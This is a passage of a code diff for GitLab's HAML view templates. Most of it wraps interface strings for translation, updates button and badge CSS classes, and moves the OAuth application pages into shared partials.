+++ b/app/views/devise/shared/_omniauth_box.html.haml
@@ -2,7 +2,7 @@
.omniauth-container.gl-mt-5
%label.label-bold.d-block
- Sign in with
+ = _('Sign in with')
- providers = enabled_button_based_providers
.d-flex.justify-content-between.flex-wrap
- providers.each do |provider|
@@ -17,4 +17,4 @@
%label
= check_box_tag :remember_me, nil, false, class: 'remember-me-checkbox'
%span
- Remember me
+ = _('Remember me')
diff --git a/app/views/devise/shared/_sign_in_link.html.haml b/app/views/devise/shared/_sign_in_link.html.haml
index 9a7d8a0a160..0a48c342502 100644
--- a/app/views/devise/shared/_sign_in_link.html.haml
+++ b/app/views/devise/shared/_sign_in_link.html.haml
@@ -1,4 +1,6 @@
%p.text-center
%span.light
- Already have login and password?
- = link_to "Sign in", new_session_path(:user, redirect_to_referer: 'yes')
+ = _('Already have login and password?')
+ - path_params = { redirect_to_referer: 'yes' }
+ - path_params[:invite_email] = @invite_email if @invite_email.present?
+ = link_to _('Sign in'), new_session_path(:user, path_params)
diff --git a/app/views/devise/shared/_tabs_ldap.html.haml b/app/views/devise/shared/_tabs_ldap.html.haml
index 27057d023b1..0ef4a30d820 100644
--- a/app/views/devise/shared/_tabs_ldap.html.haml
+++ b/app/views/devise/shared/_tabs_ldap.html.haml
@@ -4,7 +4,7 @@
%ul.nav-links.new-session-tabs.nav-tabs.nav{ class: ('custom-provider-tabs' if any_form_based_providers_enabled?) }
- if crowd_enabled?
%li.nav-item
- = link_to "Crowd", "#crowd", class: "nav-link #{active_when(form_based_auth_provider_has_active_class?(:crowd))}", 'data-toggle' => 'tab', role: 'tab'
+ = link_to _("Crowd"), "#crowd", class: "nav-link #{active_when(form_based_auth_provider_has_active_class?(:crowd))}", 'data-toggle' => 'tab', role: 'tab'
= render_if_exists "devise/shared/kerberos_tab"
- ldap_servers.each_with_index do |server, i|
%li.nav-item
@@ -17,4 +17,4 @@
= link_to _('Standard'), '#login-pane', class: 'nav-link', data: { toggle: 'tab', qa_selector: 'standard_tab' }, role: 'tab'
- if render_signup_link && allow_signup?
%li.nav-item
- = link_to 'Register', '#register-pane', class: 'nav-link', data: { toggle: 'tab', qa_selector: 'register_tab' }, role: 'tab'
+ = link_to _('Register'), '#register-pane', class: 'nav-link', data: { toggle: 'tab', qa_selector: 'register_tab' }, role: 'tab'
diff --git a/app/views/devise/unlocks/new.html.haml b/app/views/devise/unlocks/new.html.haml
index 398a4fa0c5e..abaf169afd5 100644
--- a/app/views/devise/unlocks/new.html.haml
+++ b/app/views/devise/unlocks/new.html.haml
@@ -1,4 +1,4 @@
-= render 'devise/shared/tab_single', tab_title: 'Resend unlock instructions'
+= render 'devise/shared/tab_single', tab_title: _('Resend unlock instructions')
.login-box
.login-body
= form_for(resource, as: resource_name, url: unlock_path(resource_name), html: { method: :post, class: 'gl-show-field-errors' }) do |f|
@@ -6,9 +6,9 @@
= render "devise/shared/error_messages", resource: resource
.form-group.gl-mb-6
= f.label :email
- = f.email_field :email, class: 'form-control', autofocus: 'autofocus', autocapitalize: 'off', autocorrect: 'off', title: 'Please provide a valid email address.'
+ = f.email_field :email, class: 'form-control', autofocus: 'autofocus', autocapitalize: 'off', autocorrect: 'off', title: _('Please provide a valid email address.')
.clearfix
- = f.submit 'Resend unlock instructions', class: 'gl-button btn btn-confirm'
+ = f.submit _('Resend unlock instructions'), class: 'gl-button btn btn-confirm'
.clearfix.prepend-top-20
= render 'devise/shared/sign_in_link'
diff --git a/app/views/doorkeeper/applications/_delete_form.html.haml b/app/views/doorkeeper/applications/_delete_form.html.haml
deleted file mode 100644
index 13ae18af2c5..00000000000
--- a/app/views/doorkeeper/applications/_delete_form.html.haml
+++ /dev/null
@@ -1,10 +0,0 @@
-- submit_btn_css ||= 'gl-button btn btn-danger btn-sm'
-= form_tag oauth_application_path(application) do
- %input{ :name => "_method", :type => "hidden", :value => "delete" }/
- - if defined? small
- = button_tag type: "submit", class: "gl-button btn btn-default", data: { confirm: _("Are you sure?") } do
- %span.sr-only
- = _('Destroy')
- = sprite_icon('remove')
- - else
- = submit_tag _('Destroy'), data: { confirm: _("Are you sure?") }, class: submit_btn_css
diff --git a/app/views/doorkeeper/applications/_form.html.haml b/app/views/doorkeeper/applications/_form.html.haml
deleted file mode 100644
index 9f5d87a961f..00000000000
--- a/app/views/doorkeeper/applications/_form.html.haml
+++ /dev/null
@@ -1,26 +0,0 @@
-= form_for application, url: doorkeeper_submit_path(application), html: { role: 'form', class: 'doorkeeper-app-form' } do |f|
- = form_errors(application)
-
- .form-group
- = f.label :name, class: 'label-bold'
- = f.text_field :name, class: 'form-control gl-form-input', required: true
-
- .form-group
- = f.label :redirect_uri, class: 'label-bold'
- = f.text_area :redirect_uri, class: 'form-control gl-form-input gl-form-textarea', required: true
-
- %span.form-text.text-muted
- = _('Use one line per URI')
-
- .form-group.form-check
- = f.check_box :confidential, class: 'form-check-input'
- = f.label :confidential, class: 'label-bold form-check-label'
- %span.form-text.text-muted
- = _('The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential.')
-
- .form-group
- = f.label :scopes, class: 'label-bold'
- = render 'shared/tokens/scopes_form', prefix: 'doorkeeper_application', token: application, scopes: @scopes
-
- .gl-mt-3
- = f.submit _('Save application'), class: "gl-button btn btn-confirm"
diff --git a/app/views/doorkeeper/applications/edit.html.haml b/app/views/doorkeeper/applications/edit.html.haml
index aad4200f240..99e6a5eca19 100644
--- a/app/views/doorkeeper/applications/edit.html.haml
+++ b/app/views/doorkeeper/applications/edit.html.haml
@@ -1,4 +1,5 @@
- page_title _("Edit"), @application.name, _("Applications")
- @content_class = "limit-container-width" unless fluid_layout
+
%h3.page-title= _('Edit application')
-= render 'form', application: @application
+= render 'shared/doorkeeper/applications/form', url: doorkeeper_submit_path(@application)
diff --git a/app/views/doorkeeper/applications/index.html.haml b/app/views/doorkeeper/applications/index.html.haml
index 827a839234f..e17448fbeaf 100644
--- a/app/views/doorkeeper/applications/index.html.haml
+++ b/app/views/doorkeeper/applications/index.html.haml
@@ -1,85 +1,8 @@
- page_title _("Applications")
-- @content_class = "limit-container-width" unless fluid_layout
-.row.gl-mt-3
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0
- = page_title
- %p
- - if user_oauth_applications?
- = _("Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account.")
- - else
- = _("Manage applications that you've authorized to use your account.")
- .col-lg-8
- - if user_oauth_applications?
- %h5.gl-mt-0
- = _('Add new application')
- = render 'form', application: @application
- %hr
- - else
- .bs-callout.bs-callout-disabled
- = _('Adding new applications is disabled in your GitLab instance. Please contact your GitLab administrator to get the permission')
- - if user_oauth_applications?
- .oauth-applications
- %h5
- = _("Your applications (%{size})") % { size: @applications.size }
- - if @applications.any?
- .table-responsive
- %table.table
- %thead
- %tr
- %th= _('Name')
- %th= _('Callback URL')
- %th= _('Clients')
- %th.last-heading
- %tbody
- - @applications.each do |application|
- %tr{ id: "application_#{application.id}" }
- %td= link_to application.name, oauth_application_path(application)
- %td
- - application.redirect_uri.split.each do |uri|
- %div= uri
- %td= application.access_tokens.count
- %td.gl-display-flex
- = link_to edit_oauth_application_path(application), class: "gl-button btn btn-default gl-mr-2" do
- %span.sr-only
- = _('Edit')
- = sprite_icon('pencil')
- = render 'delete_form', application: application, small: true
- - else
- .settings-message.text-center
- = _("You don't have any applications")
- .oauth-authorized-applications.prepend-top-20.gl-mb-3
- - if user_oauth_applications?
- %h5
- = _("Authorized applications (%{size})") % { size: @authorized_apps.size + @authorized_anonymous_tokens.size }
-
- - if @authorized_tokens.any?
- .table-responsive
- %table.table.table-striped
- %thead
- %tr
- %th= _('Name')
- %th= _('Authorized At')
- %th= _('Scope')
- %th
- %tbody
- - @authorized_apps.each do |app|
- - token = app.authorized_tokens.order('created_at desc').first # rubocop: disable CodeReuse/ActiveRecord
- %tr{ id: "application_#{app.id}" }
- %td= app.name
- %td= token.created_at
- %td= token.scopes
- %td= render 'doorkeeper/authorized_applications/delete_form', application: app
- - @authorized_anonymous_tokens.each do |token|
- %tr
- %td
- = _('Anonymous')
- .form-text.text-muted
- %em= _("Authorization was granted by entering your username and password in the application.")
- %td= token.created_at
- %td= token.scopes
- %td= render 'doorkeeper/authorized_applications/delete_form', token: token
- - else
- .settings-message.text-center
- = _("You don't have any authorized applications")
+= render 'shared/doorkeeper/applications/index',
+ oauth_applications_enabled: user_oauth_applications?,
+ oauth_authorized_applications_enabled: true,
+ form_url: doorkeeper_submit_path(@application),
+ application_url: ->(application) { oauth_application_path(application) },
+ edit_application_url: ->(application) { edit_oauth_application_path(application) }
diff --git a/app/views/doorkeeper/applications/show.html.haml b/app/views/doorkeeper/applications/show.html.haml
index 046d44bc47f..75521d42f7e 100644
--- a/app/views/doorkeeper/applications/show.html.haml
+++ b/app/views/doorkeeper/applications/show.html.haml
@@ -6,42 +6,4 @@
%h3.page-title
= _("Application: %{name}") % { name: @application.name }
-.table-holder.oauth-application-show
- %table.table
- %tr
- %td
- = _('Application ID')
- %td
- .clipboard-group
- .input-group
- %input.label.label-monospace.monospace{ id: "application_id", type: "text", autocomplete: 'off', value: @application.uid, readonly: true }
- .input-group-append
- = clipboard_button(target: '#application_id', title: _("Copy ID"), class: "gl-button btn btn-default")
- %tr
- %td
- = _('Secret')
- %td
- .clipboard-group
- .input-group
- %input.label.label-monospace.monospace{ id: "secret", type: "text", autocomplete: 'off', value: @application.secret, readonly: true }
- .input-group-append
- = clipboard_button(target: '#secret', title: _("Copy secret"), class: "gl-button btn btn-default")
- %tr
- %td
- = _('Callback URL')
- %td
- - @application.redirect_uri.split.each do |uri|
- %div
- %span.monospace= uri
-
- %tr
- %td
- = _('Confidential')
- %td
- = @application.confidential? ? _('Yes') : _('No')
-
- = render "shared/tokens/scopes_list", token: @application
-
-.form-actions
- = link_to _('Edit'), edit_oauth_application_path(@application), class: 'gl-button btn btn-confirm wide float-left'
- = render 'delete_form', application: @application, submit_btn_css: 'gl-button btn btn-danger gl-ml-3'
+= render 'shared/doorkeeper/applications/show', edit_path: edit_oauth_application_path(@application), delete_path: oauth_application_path(@application)
diff --git a/app/views/doorkeeper/authorizations/new.html.haml b/app/views/doorkeeper/authorizations/new.html.haml
index 7ea10296d97..5e93b1d89eb 100644
--- a/app/views/doorkeeper/authorizations/new.html.haml
+++ b/app/views/doorkeeper/authorizations/new.html.haml
@@ -1,6 +1,6 @@
%main{ :role => "main" }
- .modal-no-backdrop.modal-doorkeepr-auth
- .modal-content
+ .modal-dialog.modal-doorkeepr-auth
+ .modal-content.gl-shadow-none
.modal-header
%h3.page-title
- link_to_client = link_to(@pre_auth.client.name, @pre_auth.redirect_uri, target: '_blank', rel: 'noopener noreferrer')
diff --git a/app/views/errors/_footer.html.haml b/app/views/errors/_footer.html.haml
index bb9edc54b4b..62bac62c70c 100644
--- a/app/views/errors/_footer.html.haml
+++ b/app/views/errors/_footer.html.haml
@@ -4,7 +4,8 @@
= link_to s_('Nav|Home'), root_path
%li
- if current_user
- = link_to s_('Nav|Sign out and sign in with a different account'), destroy_user_session_path, method: :post
+ = link_to s_('Nav|Sign out and sign in with a different account'), '#', id: 'sign_out_link'
+ %form{ action: destroy_user_session_path, method: :post, id: 'sign_out_form' }
- else
= link_to s_('Nav|Sign In / Register'), new_session_path(:user, redirect_to_referer: 'yes')
%li
diff --git a/app/views/events/event/_note.html.haml b/app/views/events/event/_note.html.haml
index 2fa595503e5..d08c3d5ba41 100644
--- a/app/views/events/event/_note.html.haml
+++ b/app/views/events/event/_note.html.haml
@@ -22,7 +22,7 @@
- if note.attachment.url
- if note.attachment.image?
= link_to note.attachment.url, target: '_blank' do
- = image_tag note.attachment.url, class: 'note-image-attach'
+ = image_tag note.attachment.url, class: 'note-image-attach col-lg-4'
- else
= link_to note.attachment.url, target: '_blank', class: 'note-file-attach' do
= sprite_icon("paperclip")
diff --git a/app/views/events/event/_push.html.haml b/app/views/events/event/_push.html.haml
index 97dd606855b..62d6ab36578 100644
--- a/app/views/events/event/_push.html.haml
+++ b/app/views/events/event/_push.html.haml
@@ -18,7 +18,7 @@
- if event.push_with_commits?
.event-body
- %ul.content-list.event_commits
+ %ul.content-list.event-commits
= render "events/commit", project: project, event: event
- create_mr = event.new_ref? && create_mr_button?(from: project.default_branch, to: event.ref_name, source_project: project, target_project: project) && event.authored_by?(current_user)
@@ -46,4 +46,4 @@
- elsif create_mr
%li.commits-stat
= link_to create_mr_path do
- Create Merge Request
+ Create merge request
diff --git a/app/views/groups/_activities.html.haml b/app/views/groups/_activities.html.haml
index 769455dc951..b1a40bfc96b 100644
--- a/app/views/groups/_activities.html.haml
+++ b/app/views/groups/_activities.html.haml
@@ -1,7 +1,7 @@
.nav-block.activities
= render 'shared/event_filter', show_group_events: @group.supports_events?
.controls
- = link_to group_path(@group, rss_url_options), class: 'btn gl-button btn-default btn-icon d-none d-sm-inline-flex has-tooltip' , title: 'Subscribe' do
+ = link_to group_path(@group, rss_url_options), class: 'btn gl-button btn-default btn-icon d-none d-sm-inline-flex has-tooltip' , title: _('Subscribe') do
= sprite_icon('rss', css_class: 'qa-rss-icon gl-icon')
.content_list
diff --git a/app/views/groups/_create_chat_team.html.haml b/app/views/groups/_create_chat_team.html.haml
index f141b646e69..8f50d499605 100644
--- a/app/views/groups/_create_chat_team.html.haml
+++ b/app/views/groups/_create_chat_team.html.haml
@@ -3,7 +3,7 @@
= f.label :create_chat_team do
%span.gl-display-flex
= custom_icon('icon_mattermost')
- %span.gl-ml-2 Mattermost
+ %span.gl-ml-2= _('Mattermost')
.col-sm-12
.form-check.js-toggle-container
.js-toggle-button.form-check-input= f.check_box(:create_chat_team, { checked: false }, true, false)
@@ -11,7 +11,7 @@
= _('Create a Mattermost team for this group')
%br
%small.light.js-toggle-content
- Mattermost URL:
+ = _('Mattermost URL:')
= Settings.mattermost.host
%span> /
%span{ "data-bind-out" => "create_chat_team" }
diff --git a/app/views/groups/_group_admin_settings.html.haml b/app/views/groups/_group_admin_settings.html.haml
index 393ab8013e7..0c3eff85f16 100644
--- a/app/views/groups/_group_admin_settings.html.haml
+++ b/app/views/groups/_group_admin_settings.html.haml
@@ -1,15 +1,15 @@
.form-group.row
.col-sm-2.col-form-label.pt-0
- = f.label :lfs_enabled, 'Large File Storage'
+ = f.label :lfs_enabled, _('Large File Storage')
.col-sm-10
.form-check
= f.check_box :lfs_enabled, checked: @group.lfs_enabled?, class: 'form-check-input'
= f.label :lfs_enabled, class: 'form-check-label' do
%strong
- Allow projects within this group to use Git LFS
+ = _('Allow projects within this group to use Git LFS')
= link_to sprite_icon('question-o'), help_page_path('topics/git/lfs/index')
%br/
- %span This setting can be overridden in each project.
+ %span= _('This setting can be overridden in each project.')
.form-group.row
.col-sm-2.col-form-label
= f.label s_('ProjectCreationLevel|Allowed to create projects')
@@ -24,16 +24,16 @@
.form-group.row
.col-sm-2.col-form-label.pt-0
- = f.label :require_two_factor_authentication, 'Two-factor authentication'
+ = f.label :require_two_factor_authentication, _('Two-factor authentication')
.col-sm-10
.form-check
= f.check_box :require_two_factor_authentication, class: 'form-check-input'
= f.label :require_two_factor_authentication, class: 'form-check-label' do
%strong
- Require all users in this group to set up Two-factor authentication
+ = _("Require all users in this group to setup Two-factor authentication")
= link_to sprite_icon('question-o'), help_page_path('security/two_factor_authentication', anchor: 'enforcing-2fa-for-all-users-in-a-group')
.form-group.row
.offset-sm-2.col-sm-10
.form-check
= f.text_field :two_factor_grace_period, class: 'form-control'
- .form-text.text-muted Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication
+ .form-text.text-muted= _("Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication")
diff --git a/app/views/groups/_home_panel.html.haml b/app/views/groups/_home_panel.html.haml
index 2df5a6740b0..624d0a21b81 100644
--- a/app/views/groups/_home_panel.html.haml
+++ b/app/views/groups/_home_panel.html.haml
@@ -37,5 +37,5 @@
.home-panel-description
.home-panel-description-markdown.read-more-container{ itemprop: 'description' }
= markdown_field(@group, :description)
- %button.btn.btn-blank.btn-link.js-read-more-trigger.d-lg-none{ type: "button" }
+ %button.gl-button.btn.btn-link.js-read-more-trigger.d-lg-none{ type: "button" }
= _("Read more")
diff --git a/app/views/groups/_new_group_fields.html.haml b/app/views/groups/_new_group_fields.html.haml
index 14a3b0ece95..fd0a7af30ed 100644
--- a/app/views/groups/_new_group_fields.html.haml
+++ b/app/views/groups/_new_group_fields.html.haml
@@ -16,6 +16,11 @@
.row
.col-sm-4
= render_if_exists 'shared/groups/invite_members'
+
+- if captcha_required?
+ .row.recaptcha
+ .col-sm-4
+ = recaptcha_tags
.row
.form-actions.col-sm-12
= f.submit _('Create group'), class: "btn gl-button btn-confirm"
diff --git a/app/views/groups/activity.html.haml b/app/views/groups/activity.html.haml
index bc75fada937..6ba6dab96ae 100644
--- a/app/views/groups/activity.html.haml
+++ b/app/views/groups/activity.html.haml
@@ -1,5 +1,5 @@
= content_for :meta_tags do
- = auto_discovery_link_tag(:atom, group_url(@group, rss_url_options), title: "#{@group.name} activity")
+ = auto_discovery_link_tag(:atom, group_url(@group, rss_url_options), title: _("%{group_name} activity") % { group_name: @group.name })
- page_title _("Activity")
diff --git a/app/views/groups/edit.html.haml b/app/views/groups/edit.html.haml
index d1c4e1a7deb..6e355d31204 100644
--- a/app/views/groups/edit.html.haml
+++ b/app/views/groups/edit.html.haml
@@ -3,8 +3,9 @@
- @content_class = "limit-container-width" unless fluid_layout
- expanded = expanded_by_default?
+= render 'shared/namespaces/cascading_settings/lock_popovers'
-%section.settings.gs-general.no-animate#js-general-settings{ class: ('expanded') }
+%section.settings.gs-general.no-animate.expanded#js-general-settings
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only{ role: 'button' }
= _('Naming, visibility')
@@ -45,7 +46,7 @@
= render_if_exists 'groups/custom_project_templates_setting'
= render_if_exists 'groups/templates_setting', expanded: expanded
-%section.settings.gs-advanced.no-animate#js-advanced-settings{ class: ('expanded' if expanded) }
+%section.settings.gs-advanced.no-animate#js-advanced-settings{ class: ('expanded' if expanded), data: { qa_selector: 'advanced_settings_content' } }
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only{ role: 'button' }
= _('Advanced')
diff --git a/app/views/groups/group_members/index.html.haml b/app/views/groups/group_members/index.html.haml
index da00879ecf9..106a7832cc7 100644
--- a/app/views/groups/group_members/index.html.haml
+++ b/app/views/groups/group_members/index.html.haml
@@ -41,25 +41,25 @@
= link_to '#tab-members', class: ['nav-link', ('active' unless invited_active)], data: { toggle: 'tab' } do
%span
= _('Members')
- %span.badge.badge-pill= @members.total_count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @members.total_count
- if @group.shared_with_group_links.any?
%li.nav-item
= link_to '#tab-groups', class: ['nav-link'] , data: { toggle: 'tab', qa_selector: 'groups_list_tab' } do
%span
= _('Groups')
- %span.badge.badge-pill= @group.shared_with_group_links.count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @group.shared_with_group_links.count
- if show_invited_members
%li.nav-item
= link_to '#tab-invited-members', class: ['nav-link', ('active' if invited_active)], data: { toggle: 'tab' } do
%span
= _('Invited')
- %span.badge.badge-pill= @invited_members.total_count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @invited_members.total_count
- if show_access_requests
%li.nav-item
= link_to '#tab-access-requests', class: 'nav-link', data: { toggle: 'tab' } do
%span
= _('Access requests')
- %span.badge.badge-pill= @requesters.count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @requesters.count
.tab-content
#tab-members.tab-pane{ class: ('active' unless invited_active) }
.js-group-members-list{ data: group_members_list_data_attributes(@group, @members) }
diff --git a/app/views/groups/issues.html.haml b/app/views/groups/issues.html.haml
index ef7e3efdc68..ae4b0807fc5 100644
--- a/app/views/groups/issues.html.haml
+++ b/app/views/groups/issues.html.haml
@@ -5,32 +5,29 @@
= content_for :meta_tags do
= auto_discovery_link_tag(:atom, safe_params.merge(rss_url_options).to_h, title: "#{@group.name} issues")
-- if group_issues_count(state: 'all') == 0
- = render 'shared/empty_states/issues', project_select_button: true
-- else
- .top-area
- = render 'shared/issuable/nav', type: :issues
- .nav-controls
- = render 'shared/issuable/feed_buttons'
+.top-area
+ = render 'shared/issuable/nav', type: :issues
+ .nav-controls
+ = render 'shared/issuable/feed_buttons'
- - if @can_bulk_update
- = render_if_exists 'shared/issuable/bulk_update_button', type: :issues
+ - if @can_bulk_update
+ = render_if_exists 'shared/issuable/bulk_update_button', type: :issues
- = render 'shared/new_project_item_select', path: 'issues/new', label: "New issue", type: :issues, with_feature_enabled: 'issues', with_shared: false, include_projects_in_subgroups: true
+ = render 'shared/new_project_item_select', path: 'issues/new', label: "New issue", type: :issues, with_feature_enabled: 'issues', with_shared: false, include_projects_in_subgroups: true
- = render 'shared/issuable/search_bar', type: :issues
+= render 'shared/issuable/search_bar', type: :issues
- - if @can_bulk_update
- = render_if_exists 'shared/issuable/group_bulk_update_sidebar', group: @group, type: :issues
+- if @can_bulk_update
+ = render_if_exists 'shared/issuable/group_bulk_update_sidebar', group: @group, type: :issues
- - if Feature.enabled?(:vue_issuables_list, @group)
- - if use_startup_call?
- - add_page_startup_api_call(api_v4_groups_issues_path(id: @group.id, params: startup_call_params))
- .js-issuables-list{ data: { endpoint: expose_url(api_v4_groups_issues_path(id: @group.id)),
- 'can-bulk-edit': @can_bulk_update.to_json,
- 'empty-state-meta': { svg_path: image_path('illustrations/issues.svg') },
- 'sort-key': @sort,
- type: 'issues',
- 'scoped-labels-available': scoped_labels_available?(@group).to_json } }
- - else
- = render 'shared/issues'
+- if Feature.enabled?(:vue_issuables_list, @group) && @issues.to_a.any?
+ - if use_startup_call?
+ - add_page_startup_api_call(api_v4_groups_issues_path(id: @group.id, params: startup_call_params))
+ .js-issuables-list{ data: { endpoint: expose_url(api_v4_groups_issues_path(id: @group.id)),
+ 'can-bulk-edit': @can_bulk_update.to_json,
+ 'empty-state-meta': { svg_path: image_path('illustrations/issues.svg') },
+ 'sort-key': @sort,
+ type: 'issues',
+ 'scoped-labels-available': scoped_labels_available?(@group).to_json } }
+- else
+ = render 'shared/issues', project_select_button: true
diff --git a/app/views/groups/labels/edit.html.haml b/app/views/groups/labels/edit.html.haml
index fbab4f8a250..d9b8f99ea0c 100644
--- a/app/views/groups/labels/edit.html.haml
+++ b/app/views/groups/labels/edit.html.haml
@@ -3,7 +3,7 @@
- page_title _("Edit"), @label.name, _("Labels")
%h3.page-title
- Edit Label
+ = _('Edit Label')
%hr
= render 'shared/labels/form', url: group_label_path(@group, @label), back_path: @previous_labels_path
diff --git a/app/views/groups/labels/index.html.haml b/app/views/groups/labels/index.html.haml
index 804d2da2c4b..c480123dad1 100644
--- a/app/views/groups/labels/index.html.haml
+++ b/app/views/groups/labels/index.html.haml
@@ -8,7 +8,7 @@
#js-promote-label-modal
= render 'shared/labels/nav', labels_or_filters: labels_or_filters, can_admin_label: can_admin_label
- .labels-container.gl-mt-2
+ .labels-container.gl-mt-2.gl-bg-gray-10.gl-border-solid.gl-border-1.gl-border-gray-100
- if @labels.any?
.text-muted
= _('Labels can be applied to %{features}. Group labels are available for any project within the group.') % { features: issuable_types.to_sentence }
diff --git a/app/views/groups/labels/new.html.haml b/app/views/groups/labels/new.html.haml
index bb0b8d2b94d..75b4ad5c795 100644
--- a/app/views/groups/labels/new.html.haml
+++ b/app/views/groups/labels/new.html.haml
@@ -3,7 +3,7 @@
- page_title _("New Label")
%h3.page-title
- New Label
+ = _('New Label')
%hr
= render 'shared/labels/form', url: group_labels_path, back_path: @previous_labels_path
diff --git a/app/views/groups/merge_requests.html.haml b/app/views/groups/merge_requests.html.haml
index 15e777f5c36..15864e18f7c 100644
--- a/app/views/groups/merge_requests.html.haml
+++ b/app/views/groups/merge_requests.html.haml
@@ -1,8 +1,8 @@
- @can_bulk_update = can?(current_user, :admin_merge_request, @group) && @group.feature_available?(:group_bulk_edit)
-- page_title _("Merge Requests")
+- page_title _("Merge requests")
-- if group_merge_requests_count(state: 'all') == 0
+- if @merge_requests&.size == 0
= render 'shared/empty_states/merge_requests', project_select_button: true
- else
.top-area
diff --git a/app/views/groups/milestones/_form.html.haml b/app/views/groups/milestones/_form.html.haml
index 52060e2be16..d4d8a7a57ef 100644
--- a/app/views/groups/milestones/_form.html.haml
+++ b/app/views/groups/milestones/_form.html.haml
@@ -4,23 +4,23 @@
.col-md-6
.form-group.row
.col-form-label.col-sm-2
- = f.label :title, "Title"
+ = f.label :title, _("Title")
.col-sm-10
= f.text_field :title, maxlength: 255, class: "form-control", data: { qa_selector: "milestone_title_field" }, required: true, autofocus: true
.form-group.row.milestone-description
.col-form-label.col-sm-2
- = f.label :description, "Description"
+ = f.label :description, _("Description")
.col-sm-10
= render layout: 'shared/md_preview', locals: { url: group_preview_markdown_path } do
- = render 'shared/zen', f: f, attr: :description, classes: 'note-textarea', qa_selector: 'milestone_description_field', placeholder: 'Write milestone description...', supports_autocomplete: false
+ = render 'shared/zen', f: f, attr: :description, classes: 'note-textarea', qa_selector: 'milestone_description_field', placeholder: _('Write milestone description...'), supports_autocomplete: false
.clearfix
.error-alert
= render "shared/milestones/form_dates", f: f
.form-actions
- if @milestone.new_record?
- = f.submit 'Create milestone', class: "btn-confirm gl-button btn", data: { qa_selector: "create_milestone_button" }
- = link_to "Cancel", group_milestones_path(@group), class: "btn gl-button btn-cancel"
+ = f.submit _('Create milestone'), class: "btn-confirm gl-button btn", data: { qa_selector: "create_milestone_button" }
+ = link_to _("Cancel"), group_milestones_path(@group), class: "btn gl-button btn-cancel"
- else
- = f.submit 'Update milestone', class: "btn-confirm gl-button btn"
- = link_to "Cancel", group_milestone_path(@group, @milestone), class: "btn gl-button btn-cancel"
+ = f.submit _('Update milestone'), class: "btn-confirm gl-button btn"
+ = link_to _("Cancel"), group_milestone_path(@group, @milestone), class: "btn gl-button btn-cancel"
diff --git a/app/views/groups/milestones/edit.html.haml b/app/views/groups/milestones/edit.html.haml
index c703d5f7f93..187c2d24b56 100644
--- a/app/views/groups/milestones/edit.html.haml
+++ b/app/views/groups/milestones/edit.html.haml
@@ -4,7 +4,7 @@
- render "header_title"
%h3.page-title
- Edit Milestone
+ = _('Edit Milestone')
%hr
= render "form"
diff --git a/app/views/groups/runners/_group_runners.html.haml b/app/views/groups/runners/_group_runners.html.haml
index f60cdc9f8da..910b36770f1 100644
--- a/app/views/groups/runners/_group_runners.html.haml
+++ b/app/views/groups/runners/_group_runners.html.haml
@@ -19,5 +19,5 @@
type: 'group',
reset_token_url: reset_registration_token_group_settings_ci_cd_path,
project_path: '',
- group_path: @group.path }
+ group_path: @group.full_path }
%br
diff --git a/app/views/groups/runners/_index.html.haml b/app/views/groups/runners/_index.html.haml
index 7cbc709ecf8..187588f5f11 100644
--- a/app/views/groups/runners/_index.html.haml
+++ b/app/views/groups/runners/_index.html.haml
@@ -19,7 +19,7 @@
.filtered-search-box
= dropdown_tag(_('Recent searches'),
options: { wrapper_class: 'filtered-search-history-dropdown-wrapper',
- toggle_class: 'btn filtered-search-history-dropdown-toggle-button',
+ toggle_class: 'gl-button btn btn-default filtered-search-history-dropdown-toggle-button',
dropdown_class: 'filtered-search-history-dropdown',
content_class: 'filtered-search-history-dropdown-content' }) do
.js-filtered-search-history-dropdown{ data: { full_path: group_settings_ci_cd_path } }
@@ -31,7 +31,7 @@
#js-dropdown-hint.filtered-search-input-dropdown-menu.dropdown-menu.hint-dropdown
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item{ data: {hint: "#{'{{hint}}'}", tag: "#{'{{tag}}'}", action: "#{'{{hint === \'search\' ? \'submit\' : \'\' }}'}" } }
- = button_tag class: 'btn btn-link' do
+ = button_tag class: 'gl-button btn btn-link' do
-# Encapsulate static class name `{{icon}}` inside #{} to bypass
-# haml lint's ClassAttributeWithStaticValue
%svg
@@ -41,7 +41,7 @@
#js-dropdown-operator.filtered-search-input-dropdown-menu.dropdown-menu
%ul.filter-dropdown{ data: { dropdown: true, dynamic: true } }
%li.filter-dropdown-item{ data: { value: "{{ title }}" } }
- = button_tag class: 'btn btn-link' do
+ = button_tag class: 'gl-button btn btn-link' do
{{ title }}
%span.btn-helptext
{{ help }}
@@ -49,7 +49,7 @@
%ul{ data: { dropdown: true } }
- Ci::Runner::AVAILABLE_STATUSES.each do |status|
%li.filter-dropdown-item{ data: { value: status } }
- = button_tag class: 'btn btn-link' do
+ = button_tag class: 'gl-button btn btn-link' do
= status.titleize
#js-dropdown-admin-runner-type.filtered-search-input-dropdown-menu.dropdown-menu
@@ -57,18 +57,18 @@
- Ci::Runner::AVAILABLE_TYPES.each do |runner_type|
- next if runner_type == 'instance_type'
%li.filter-dropdown-item{ data: { value: runner_type } }
- = button_tag class: 'btn btn-link' do
+ = button_tag class: 'gl-button btn btn-link' do
= runner_type.titleize
#js-dropdown-runner-tag.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'none' } }
- = button_tag class: 'btn btn-link' do
+ = button_tag class: 'gl-button btn btn-link' do
= _('No Tag')
%li.divider.droplab-item-ignore
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- = button_tag class: 'btn btn-link js-data-value' do
+ = button_tag class: 'gl-button btn btn-link js-data-value' do
%span.dropdown-light-content
{{name}}
@@ -82,12 +82,11 @@
- if @group_runners.any?
- .runners-content.content-list
+ .content-list{ data: { testid: 'runners-table' } }
.table-holder
.gl-responsive-table-row.table-row-header{ role: 'row' }
